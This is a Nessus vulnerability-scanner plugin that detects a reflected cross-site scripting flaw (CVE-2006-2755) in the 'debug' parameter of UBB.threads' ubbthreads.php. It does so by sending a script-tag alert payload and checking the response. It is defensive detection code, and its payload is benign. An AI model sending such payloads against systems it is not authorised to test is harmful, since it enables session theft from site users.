UBB.threads ubbthreads.php debug Parameter XSS

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security
#


include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(21618);
  script_version("1.21");

  script_cve_id("CVE-2006-2755");
  script_bugtraq_id(18152);

  script_name(english:"UBB.threads ubbthreads.php debug Parameter XSS");
  script_summary(english:"Tries to exploit an XSS flaw in UBB.threads");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
cross-site scripting vulnerability." );
 script_set_attribute(attribute:"description", value:
"The version of UBB.threads installed on the remote host fails to
sanitize input to the 'debug' parameter before using it in the
'ubbthreads.php' script for dynamically-generated content.  Regardless
of any PHP settings, an unauthenticated attacker may be able to
exploit this flaw to inject arbitrary HTML and script code in a user's
browser in the context of the affected website, resulting in theft of
authentication data or other such attacks." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/435288/30/0/threaded" );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/435296/30/0/threaded" );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);

 script_set_attribute(attribute:"plugin_publication_date", value: "2006/05/31");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/05/27");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses : XSS");

  script_copyright(english:"This script is Copyright (C) 2006-2021 Tenable Network Security, Inc.");

  script_dependencies("ubbthreads_detect.nasl", "cross_site_scripting.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/ubbthreads");
  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);
if (get_kb_item("www/" + port + "/generic_xss")) exit(0);


# A simple alert.
xss = string('<script>alert("', SCRIPT_NAME, '")</script>');
# nb: the url-encoded version is what we need to pass in.
exss = urlencode(str:xss);


# Test an install.
install = get_kb_item(string("www/", port, "/ubbthreads"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  dir = matches[2];

  # Try to exploit the flaw to read a file.
  r = http_send_recv3(method:"GET", port: port,
    item:string(dir, "/ubbthreads.php?", "debug=", exss));
  if (isnull(r)) exit(0);
  res = r[2];

  # There's a problem if we see our XSS.
  if (string(xss, "</body>") >< res)
  {
    security_warning(port);
    set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
    exit(0);
  }
}